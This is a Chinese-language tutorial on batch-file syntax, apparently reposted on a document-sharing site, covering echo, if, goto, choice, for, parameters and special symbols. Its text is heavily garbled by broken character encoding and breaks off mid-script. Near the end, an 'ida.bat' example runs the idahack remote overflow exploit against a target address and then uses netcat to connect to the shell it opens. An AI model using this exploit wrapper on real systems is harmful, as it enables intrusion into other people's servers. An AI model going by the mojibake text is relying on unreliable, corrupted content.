Bat命令大全 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )_第1頁(yè)
Bat命令大全 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )_第2頁(yè)
Bat命令大全 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )_第3頁(yè)
Bat命令大全 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )_第4頁(yè)
Bat命令大全 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )_第5頁(yè)
已閱讀5頁(yè),還剩3頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、Bat命令大全。 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載 )       Bat命令大全。 BAT文件語(yǔ)法和技巧._天地?zé)o極限(轉(zhuǎn)載)     uqt 收錄于2009-09-02 閱讀數(shù):查看                   收藏?cái)?shù):1      

2、60;                        公眾公開(kāi)      原文來(lái)源                    

3、;     修改      以文找文      推薦給好友      如何對(duì)文章標(biāo)記,添加批注?                         &#

4、160;      Bat命令大全。 BAT文件語(yǔ)法和技巧.    2007年03月09日 星期五 01:48                                

5、60;                                 Bat命令大全。 BAT文件語(yǔ)法和技巧.     首先,批處理文件是一個(gè)文本文件,這個(gè)文件的每一行都是一條DOS命令(大部分時(shí)候就好象我們?cè)贒OS提示符下執(zhí)行

6、的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創(chuàng)建和修改批處理文件。其     次,批處理文件是一種簡(jiǎn)單的程序,可以通過(guò)條件語(yǔ)句(if)和流程控制語(yǔ)句(goto)來(lái)控制命令運(yùn)行的流程,在批處理中也可以使用循環(huán)語(yǔ)句(for)來(lái)     循環(huán)執(zhí)行一條命令。當(dāng)然,批處理文件的編程能力與C語(yǔ)言等編程語(yǔ)句比起來(lái)是十分有限的,也是十分不規(guī)范的。批處理的程序語(yǔ)句就是一條條的DOS命令(包括     內(nèi)部命令和外部命令),而批處

7、理的能力主要取決于你所使用的命令。第三,每個(gè)編寫(xiě)好的批處理文件都相當(dāng)于一個(gè)DOS的外部命令,你可以把     它所在的目錄放到你的DOS搜索路徑(path)中來(lái)使得它可以在任意位置運(yùn)行。一個(gè)良好的習(xí)慣是在硬盤(pán)上建立一個(gè)bat或者batch目錄(例如     C:BATCH),然后將所有你編寫(xiě)的批處理文件放到該目錄中,這樣只要在path中設(shè)置上c:batch,你就可以在任意位置運(yùn)行所有你編寫(xiě)的批處     理程序。第四,在DOS和Win9x/Me系統(tǒng)下,C:盤(pán)根目錄下的AUTO

8、EXEC.BAT批處理文件是自動(dòng)運(yùn)行批處理文件,每次系統(tǒng)     啟動(dòng)時(shí)會(huì)自動(dòng)運(yùn)行該文件,你可以將系統(tǒng)每次啟動(dòng)時(shí)都要運(yùn)行的命令放入該文件中,例如設(shè)置搜索路徑,調(diào)入鼠標(biāo)驅(qū)動(dòng)和磁盤(pán)緩存,設(shè)置系統(tǒng)環(huán)境變量等。下面是一     個(gè)運(yùn)行于Windows 98下的autoexec.bat的示例:ECHO OFFPATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCHLH SMARTDRV.EXE /XLH DOSKEY.CO

9、M /INSERTLH CTMOUSE.EXESET TEMP=D:TEMPSET TMP=D:TEMP批處理的作用簡(jiǎn)單的說(shuō),批處理的作用就是自動(dòng)的連續(xù)執(zhí)行多條命令。這里先講一個(gè)最簡(jiǎn)單的應(yīng)用:在啟動(dòng)wps軟件時(shí),每次都必須執(zhí)行(>前面內(nèi)容表示DOS提示符): C:>cd wps C:WPS>spdosC:WPS>py C:WPS>wbx C:WPS>wps 如果每次用WPS之前都這樣執(zhí)行一遍,您是不是覺(jué)得很麻煩呢?好了,用批處理,就可以實(shí)現(xiàn)將這些麻煩的操作簡(jiǎn)單化,首先我們編寫(xiě)一個(gè)runwps.bat批處理文件,內(nèi)容如下:echo offc:cdwpsspdo

10、spywbxwpscd以后,我們每次進(jìn)入wps,只需要運(yùn)行runwps這個(gè)批處理文件即可。常用命令echo、call、pause、rem(小技巧:用:代替rem)是批處理文件最常用的幾個(gè)命令,我們就從他們開(kāi)始學(xué)起。 echo 表示顯示此命令后的字符 echo off 表示在此語(yǔ)句后所有運(yùn)行的命令都不顯示命令行本身 與echo off相象,但它是加在每個(gè)命令行的最前面,表示運(yùn)行時(shí)不顯示這一行的命令行(只能影響當(dāng)前行)。 call 調(diào)用另一個(gè)批處理文件(如果不用call而直接調(diào)用別的批處理文件,那么執(zhí)行完那個(gè)批處理文件后將無(wú)法返回當(dāng)前文件并執(zhí)行當(dāng)前文件的后續(xù)命令)。 pause 運(yùn)行此句會(huì)暫停批處

11、理的執(zhí)行并在屏幕上顯示Press any key to continue.的提示,等待用戶(hù)按任意鍵后繼續(xù) rem 表示此命令后的字符為解釋行(注釋?zhuān)?,不?zhí)行,只是給自己今后參考用的(相當(dāng)于程序中的注釋?zhuān)?例1:用edit編輯a.bat文件,輸入下列內(nèi)容后存盤(pán)為c:a.bat,執(zhí)行該批處理文件后可實(shí)現(xiàn):將根目錄中所有文件寫(xiě)入 a.txt中,啟動(dòng)UCDOS,進(jìn)入WPS等功能。 批處理文件的內(nèi)容為: 命令注釋?zhuān)?echo off不顯示后續(xù)命令行及當(dāng)前命令行dir c:*.* >a.txt將c盤(pán)文件列表寫(xiě)入a.txt call c:ucdosucdos.bat調(diào)用ucdos echo 你好 顯

12、示"你好" pause 暫停,等待按鍵繼續(xù) rem 準(zhǔn)備運(yùn)行wps 注釋?zhuān)簻?zhǔn)備運(yùn)行wps cd ucdos 進(jìn)入ucdos目錄 wps 運(yùn)行wps 批處理文件的參數(shù)批處理文件還可以像C語(yǔ)言的函數(shù)一樣使用參數(shù)(相當(dāng)于DOS命令的命令行參數(shù)),這需要用到一個(gè)參數(shù)表示符“%”。 %1-9表示參數(shù),參數(shù)是指在運(yùn)行批處理文件時(shí)在文件名后加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數(shù)字符串用%1到%9順序表示。 例2:C:根目錄下有一批處理文件名為f.bat,內(nèi)容為:echo offformat %1如果執(zhí)行C:>f a:那么在執(zhí)行f

13、.bat時(shí),%1就表示a:,這樣format %1就相當(dāng)于format a:,于是上面的命令運(yùn)行時(shí)實(shí)際執(zhí)行的是format a:例3:C:根目錄下一批處理文件名為t.bat,內(nèi)容為:echo offtype %1 type %2 那么運(yùn)行C:>t a.txt b.txt %1 : 表示a.txt%2 : 表示b.txt于是上面的命令將順序地顯示a.txt和b.txt文件的內(nèi)容。特殊命令if goto choice for是批處理文件中比較高級(jí)的命令,如果這幾個(gè)你用得很熟練,你就是批處理文件的專(zhuān)家啦。 一、if 是條件語(yǔ)句,用來(lái)判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:

14、 1、if not "參數(shù)" = "字符串" 待執(zhí)行的命令 參數(shù)如果等于(not表示不等,下同)指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。例:if "%1"="a" format a:2、if not exist 路徑文件名 待執(zhí)行的命令 如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如: if exist c:config.sys type c:config.sys 表示如果存在c:config.sys文件,則顯示它的內(nèi)容。3、if errorlevel <數(shù)字> 待執(zhí)行的命令 很

15、     多DOS程序在運(yùn)行結(jié)束后會(huì)返回一個(gè)數(shù)字值用來(lái)表示程序運(yùn)行的結(jié)果(或者狀態(tài)),通過(guò)if     errorlevel命令可以判斷程序的返回值,根據(jù)不同的返回值來(lái)決定執(zhí)行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等于指定的數(shù)     字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。如if errorlevel 2 goto x2二、goto 批處理文件運(yùn)行到這里將跳到goto所指定的標(biāo)號(hào)(標(biāo)號(hào)即label,標(biāo)號(hào)用:后跟標(biāo)準(zhǔn)字符串來(lái)定義)處,goto語(yǔ)句一般與i

16、f配合使用,根據(jù)不同的條件來(lái)執(zhí)行不同的命令組。 如:goto end :end echo this is the end 標(biāo)號(hào)用“:字符串”來(lái)定義,標(biāo)號(hào)所在行不被執(zhí)行。 三、choice 使用此命令可以讓用戶(hù)輸入一個(gè)字符(用于選擇),從而根據(jù)用戶(hù)的選擇返回不同的errorlevel,然后于if errorlevel配合,根據(jù)用戶(hù)的選擇運(yùn)行不同的命令。注意:choice命令為DOS或者Windows系統(tǒng)提供的外部命令,不同版本的choice命令語(yǔ)法會(huì)稍有不同,請(qǐng)用choice /?查看用法。choice的命令語(yǔ)法(該語(yǔ)法為Windows 2003中choice命令的語(yǔ)法,其它版本的choice的

17、命令語(yǔ)法與此大同小異):CHOICE /C choices /N /CS /T timeout /D choice /M text描述: 該工具允許用戶(hù)從選擇列表選擇一個(gè)項(xiàng)目并返回所選項(xiàng)目的索引。參數(shù)列表:/Cchoices 指定要?jiǎng)?chuàng)建的選項(xiàng)列表。默認(rèn)列表是 "YN"。/N在提示符中隱藏選項(xiàng)列表。提示前面的消息得到顯示,選項(xiàng)依舊處于啟用狀態(tài)。/CS 允許選擇分大小寫(xiě)的選項(xiàng)。在默認(rèn)情況下,這個(gè)工具是不分大小寫(xiě)的。/Ttimeout 做出默認(rèn)選擇之前,暫停的秒數(shù)。可接受的值是從 0 到 9999。如果指定了 0,就不會(huì)有暫停,默認(rèn)選項(xiàng)會(huì)得到選擇。/Dchoice在 nnnn 秒

18、之后指定默認(rèn)選項(xiàng)。字符必須在用 /C 選項(xiàng)指定的一組選擇中; 同時(shí),必須用 /T 指定 nnnn。/Mtext指定提示之前要顯示的消息。如果沒(méi)有指定,工具只顯示提示。/?顯示幫助消息。注意:     ERRORLEVEL 環(huán)境變量被設(shè)置為從選擇集選擇的鍵索引。列出的第一個(gè)選擇返回 1,第二個(gè)選擇返回     2,等等。如果用戶(hù)按的鍵不是有效的選擇,該工具會(huì)發(fā)出警告響聲。如果該工具檢測(cè)到錯(cuò)誤狀態(tài),它會(huì)返回 255 的ERRORLEVEL     值。如果用戶(hù)按 Ctrl+Bre

19、ak 或 Ctrl+C 鍵,該工具會(huì)返回 0 的 ERRORLEVEL 值。在一個(gè)批程序中使用     ERRORLEVEL 參數(shù)時(shí),將參數(shù)降序排列。示例:CHOICE /? CHOICE /C YNC /M "確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。"CHOICE /T 10 /C ync /CS /D yCHOICE /C ab /M "選項(xiàng) 1 請(qǐng)選擇 a,選項(xiàng) 2 請(qǐng)選擇 b。"CHOICE /C ab /N /M "選項(xiàng) 1 請(qǐng)選擇 a,選項(xiàng) 2 請(qǐng)選擇 b。"如果我運(yùn)行命令:CH

20、OICE /C YNC /M "確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。"屏幕上會(huì)顯示:確認(rèn)請(qǐng)按 Y,否請(qǐng)按 N,或者取消請(qǐng)按 C。 Y,N,C?例:test.bat的內(nèi)容如下(注意,用if errorlevel判斷返回值時(shí),要按返回值從高到低排列): echo off choice /C dme /M "defrag,mem,end"if errorlevel 3 goto endif errorlevel 2 goto mem if errotlevel 1 goto defrag :defrag c:dosdefrag goto end :me

21、m mem goto end :end echo good bye 此     批處理運(yùn)行后,將顯示“defrag,mem,endD,M,E?” ,用戶(hù)可選擇d m e     ,然后if語(yǔ)句根據(jù)用戶(hù)的選擇作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)     程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,批處理運(yùn)行結(jié)束。 四、for 循環(huán)命令,只要條件符合,它將多次

22、執(zhí)行同一命令。 語(yǔ)法:對(duì)一組文件中的每一個(gè)文件執(zhí)行某個(gè)特定命令。FOR %variable IN (set) DO command command-parameters%variable指定一個(gè)單一字母可替換的參數(shù)。(set)指定一個(gè)或一組文件??梢允褂猛ㄅ浞ommand指定對(duì)每個(gè)文件執(zhí)行的命令。command-parameters 為特定命令指定參數(shù)或命令行開(kāi)關(guān)。例如一個(gè)批處理文件中有一行: for %c in (*.bat *.txt) do type %c 則該命令行會(huì)顯示當(dāng)前目錄下所有以bat和txt為擴(kuò)展名的文件的內(nèi)容。批處理示例1. IF-EXIST1)首先用記事本在C:建立一

23、個(gè)test1.bat批處理文件,文件內(nèi)容如下: echo off IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist 然后運(yùn)行它:C:>TEST1.BAT 如果C:存在AUTOEXEC.BAT文件,那么它的內(nèi)容就會(huì)被顯示出來(lái),如果不存在,批處理就會(huì)提示你該文件不存在。2)接著再建立一個(gè)test2.bat文件,內(nèi)容如下: ECHO OFF IF EXIST %1 TYPE %1 IF NOT EXIST %1 ECHO %1 does not e

24、xist 執(zhí)行: C:>TEST2 AUTOEXEC.BAT 該命令運(yùn)行結(jié)果同上。說(shuō)明: (1) IF EXIST 是用來(lái)測(cè)試文件是否存在的,格式為 IF EXIST 路徑+文件名 命令 (2) test2.bat文件中的%1是參數(shù),DOS允許傳遞9個(gè)批參數(shù)信息給批處理文件,分別為%1%9(%0表示test2命令本身) ,這有點(diǎn)象編程中的實(shí)參和形參的關(guān)系,%1是形參,AUTOEXEC.BAT是實(shí)參。 3) 更進(jìn)一步的,建立一個(gè)名為T(mén)EST3.BAT的文件,內(nèi)容如下: echo offIF "%1" = "A" ECHO XIAO IF "

25、%2" = "B" ECHO TIAN IF "%3" = "C" ECHO XIN 如果運(yùn)行:C:>TEST3 A B C 屏幕上會(huì)顯示:XIAOTIANXIN如果運(yùn)行:C:>TEST3 A B 屏幕上會(huì)顯示XIAOTIAN 在這個(gè)命令執(zhí)行過(guò)程中,DOS會(huì)將一個(gè)空字符串指定給參數(shù)%3。 2、IF-ERRORLEVEL建立TEST4.BAT,內(nèi)容如下:ECHO OFF XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗 IF ERRORLEVEL 0 ECHO 成

26、功拷貝文件 然后執(zhí)行文件:C:>TEST4如果文件拷貝成功,屏幕就會(huì)顯示“成功拷貝文件”,否則就會(huì)顯示“文件拷貝失敗”。 IF ERRORLEVEL 是用來(lái)測(cè)試它的上一個(gè)DOS命令的返回值的,注意只是上一個(gè)命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯(cuò)誤的:ECHO OFF XCOPY C:AUTOEXEC.BAT D: IF ERRORLEVEL 0 ECHO 成功拷貝文件 IF ERRORLEVEL 1 ECHO 未找到拷貝文件 IF ERRORLEVEL 2 ECHO 用戶(hù)通過(guò)ctrl-c中止拷貝操作 IF ERRORLEVEL 3 ECHO 預(yù)置錯(cuò)

27、誤阻止文件拷貝操作 IF ERRORLEVEL 4 ECHO 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤 無(wú)論拷貝是否成功,后面的: 未找到拷貝文件 用戶(hù)通過(guò)ctrl-c中止拷貝操作 預(yù)置錯(cuò)誤阻止文件拷貝操作 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤都將顯示出來(lái)。 以下就是幾個(gè)常用命令的返回值及其代表的意義: backup 0 備份成功 1 未找到備份文件 2 文件共享沖突阻止備份完成 3 用戶(hù)用ctrl-c中止備份 4 由于致命的錯(cuò)誤使備份操作中止 diskcomp 0 盤(pán)比較相同 1 盤(pán)比較不同 2 用戶(hù)通過(guò)ctrl-c中止比較操作 3 由于致命的錯(cuò)誤使比較操作中止 4 預(yù)置錯(cuò)誤中止比較 diskcopy 0 盤(pán)拷貝操作成功 1 非致

28、命盤(pán)讀/寫(xiě)錯(cuò) 2 用戶(hù)通過(guò)ctrl-c結(jié)束拷貝操作 3 因致命的處理錯(cuò)誤使盤(pán)拷貝中止 4 預(yù)置錯(cuò)誤阻止拷貝操作 format 0 格式化成功 3 用戶(hù)通過(guò)ctrl-c中止格式化處理 4 因致命的處理錯(cuò)誤使格式化中止 5 在提示“proceed with format(y/n)?”下用戶(hù)鍵入n結(jié)束 xcopy 0 成功拷貝文件 1 未找到拷貝文件 2 用戶(hù)通過(guò)ctrl-c中止拷貝操作 4 預(yù)置錯(cuò)誤阻止文件拷貝操作 5 拷貝過(guò)程中寫(xiě)盤(pán)錯(cuò)誤 3、IF STRING1 = STRING2建立TEST5.BAT,文件內(nèi)容如下: echo off IF "%1" = "A&q

29、uot; formAT A: 執(zhí)行: C:>TEST5 A 屏幕上就出現(xiàn)是否將A:盤(pán)格式化的內(nèi)容。 注意:為了防止參數(shù)為空的情況,一般會(huì)將字符串用雙引號(hào)(或者其它符號(hào),注意不能使用保留符號(hào))括起來(lái)。如:if %1=A 或者 if %1*=A*5、GOTO建立TEST6.BAT,文件內(nèi)容如下: ECHO OFF IF EXIST C:AUTOEXEC.BAT GOTO _COPY GOTO _DONE:_COPY COPY C:AUTOEXEC.BAT D: :_DONE 注意: (1) 標(biāo)號(hào)前是ASCII字符的冒號(hào)":",冒號(hào)與標(biāo)號(hào)之間不能有空格。 (2) 標(biāo)號(hào)的命名

30、規(guī)則與文件名的命名規(guī)則相同。(3) DOS支持最長(zhǎng)八位字符的標(biāo)號(hào),當(dāng)無(wú)法區(qū)別兩個(gè)標(biāo)號(hào)時(shí),將跳轉(zhuǎn)至最近的一個(gè)標(biāo)號(hào)。6、FOR建立C:TEST7.BAT,文件內(nèi)容如下: ECHO OFF FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C 運(yùn)行: C:>TEST7執(zhí)行以后,屏幕上會(huì)將C:盤(pán)根目錄下所有以BAT、TXT、SYS為擴(kuò)展名的文件內(nèi)容顯示出來(lái)(不包括隱藏文件)。 win2000命令行方式批處理BAT文件技巧 文章結(jié)構(gòu) 1. 所有內(nèi)置命令的幫助信息 2. 環(huán)境變量的概念 3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi)) 4. 簡(jiǎn)單批處理文件概念 5. 附件1

31、tmp.txt 6. 附件2 sample.bat #1. 所有內(nèi)置命令的幫助信息 #ver cmd /? set /? rem /? if /? echo /? goto /? for /? shift /? call /? 其他需要的常用命令 type /? find /? findstr /? copy /? 下面將所有上面的幫助輸出到一個(gè)文件 echo ver >tmp.txt ver >>tmp.txt echo cmd /? >>tmp.txt cmd /? >>tmp.txt echo rem /? >>tmp.txt rem

32、 /? >>tmp.txt echo if /? >>tmp.txt if /? >>tmp.txt echo goto /? >>tmp.txt goto /? >>tmp.txt echo for /? >>tmp.txt for /? >>tmp.txt echo shift /? >>tmp.txt shift /? >>tmp.txt echo call /? >>tmp.txt call /? >>tmp.txt echo type /? >&g

33、t;tmp.txt type /? >>tmp.txt echo find /? >>tmp.txt find /? >>tmp.txt echo findstr /? >>tmp.txt findstr /? >>tmp.txt echo copy /? >>tmp.txt copy /? >>tmp.txt type tmp.txt #2. 環(huán)境變量的概念 #C:Program Files>set ALLUSERSPROFILE=C:Documents and SettingsAll Users Co

34、mmonProgramFiles=C:Program FilesCommon Files COMPUTERNAME=FIRST ComSpec=C:WINNTsystem32cmd.exe NUMBER_OF_PROCESSORS=1 OS=Windows_NT Os2LibPath=C:WINNTsystem32os2dll; Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 P

35、ROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:Program Files PROMPT=$P$G SystemDrive=C: SystemRoot=C:WINNT TEMP=C:WINNTTEMP TMP=C:WINNTTEMP USERPROFILE=C:Documents and SettingsDefault User windir=C:WINNT path: 表示可執(zhí)行程序的搜索路徑.

36、我的建議是你把你的程序copy 到 %windir%system32. 這個(gè)目錄里面. 一般就可以自動(dòng)搜索到. 語(yǔ)法: copy mychenxu.exe %windir%system32. 使用點(diǎn)(.) 便于一目了然 對(duì)環(huán)境變量的引用使用(英文模式,半角)雙引號(hào) %windir% 變量 %windir% 二次變量引用. 我們常用的還有 %temp% 臨時(shí)文件目錄 %windir% 系統(tǒng)目錄 %errorlevel% 退出代碼 輸出文件到臨時(shí)文件目錄里面.這樣便于當(dāng)前目錄整潔. 對(duì)有空格的參數(shù). 你應(yīng)該學(xué)會(huì)使用雙引號(hào)("") 來(lái)表示比如對(duì)porgram file文件夾操作

37、C:>dir p* C: 的目錄 2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47 <DIR> Program Files 1 個(gè)文件 2,164 字節(jié) 1 個(gè)目錄 1,505,997,824 可用字節(jié) C:>cd pro* C:Program Files> C:> C:>cd "Program Files" C:Program Files> 3. 內(nèi)置的特殊符號(hào)(實(shí)際使用中間注意避開(kāi)) 微軟里面內(nèi)置了下列字符不能夠在創(chuàng)建的文件名中間使用 con nul aux / | | &a

38、mp;& > < * You     can use most characters as variable values, including white space. If     you use the special characters <, >, |, &, or , you must     precede them with the escape character () or quotation marks. If y

39、ou     use quotation marks, they are included as part of the value because     everything following the equal sign is taken as the value. Consider the     following examples: (大意: 要么你使用作為前導(dǎo)字符表示.或者就只有使用雙引號(hào)""了) To create the variabl

40、e value new&name, type: set varname=new&name To create the variable value "new&name", type: set varname="new&name" The     ampersand (&), pipe (|), and parentheses ( ) are special characters     that must be preceded by

41、the escape character () or quotation marks     when you pass them as arguments. find "Pacific Rim" < trade.txt > nwtrade.txt IF EXIST filename. (del filename.) ELSE echo filename. missing > 創(chuàng)建一個(gè)文件 >> 追加到一個(gè)文件后面 前綴字符.表示執(zhí)行時(shí)本行在cmd里面不顯示, 可以使用 echo off關(guān)閉顯示 對(duì)特殊符

42、號(hào)( > < &)的前導(dǎo)字符. 第一個(gè)只是顯示aaa 第二個(gè)輸出文件bbb echo 123456 > aaa echo 1231231 > bbb () 包含命令 (echo aa & echo bb) , 和空格一樣的缺省分隔符號(hào). ; 注釋,表示后面為注釋 : 標(biāo)號(hào)作用 | 管道操作 & Usage:第一條命令 & 第二條命令 & 第三條命令. 用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功 dir c:*.exe & dir d:*.exe & dir e:*.exe && Usag

43、e:第一條命令 && 第二條命令 && 第三條命令. 當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令; | Usage:第一條命令 | 第二條命令 | 第三條命令. 當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令; 常用語(yǔ)法格式 IF NOT ERRORLEVEL number command para1 para2 IF NOT string1=string2 command para1 para2 IF NOT EXIST filename command para1 para2 IF E

44、XIST filename command para1 para2 IF NOT EXIST filename command para1 para2 IF "%1"="" goto END IF "%1"="net" goto NET IF NOT "%2"="net" goto OTHER IF ERRORLEVEL 1 command para1 para2 IF NOT ERRORLEVEL 1 command para1 para2 FOR /L %i IN (st

45、art,step,end) DO command command-parameters %i FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 按照字母順序 ijklmnopq依次取參數(shù). eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè)) skip=n - 指在文件開(kāi)始時(shí)忽略的行數(shù)。 delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的默認(rèn)分隔符集。 4. 簡(jiǎn)單批處理文件概念 echo This is test > a.txt type a.txt echo Th

46、is is test 11111 >> a.txt type a.txt echo This is test 22222 > a.txt type a.txt 第二個(gè)echo是追加 第三個(gè)echo將清空a.txt 重新創(chuàng)建 a.txt netstat -n | find "3389" 這個(gè)將要列出所有連接3389的用戶(hù)的ip. _test.bat_echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 echo please care echo ples

47、e care 1111 echo plese care 2222 echo plese care 3333 rem 不顯示注釋語(yǔ)句,本行顯示 rem 不顯示注釋語(yǔ)句,本行不顯示 if exist %windir%system32find.exe (echo Find find.exe !) else (echo ERROR: Not find find.exe) if exist %windir%system32fina.exe (echo Find fina.exe !) else (echo ERROR: Not find fina.exe) _下面我們以具體的一個(gè)idahack程序就是i

48、da遠(yuǎn)程溢出為例子.應(yīng)該是很簡(jiǎn)單的. _ida.bat_rem ver 1.0 if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe" if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe" if "%1" ="" goto USAGE if NOT "%2" ="" goto SP2 :start e

49、cho Now start . ping %1 echo chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 >%temp%_tmp echo "prog exit code %errorlevel% idahack.exe" type %temp%_tmp find "good luck :)" %temp%_tmp echo "prog exit code %errorlevel% find goog luck" if NOT errorlevel 1 nc.exe %1 99 goto END :SP2 idahack.exe %1 80 %2 99 %temp%_tmp type %temp%_tmp find "good

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論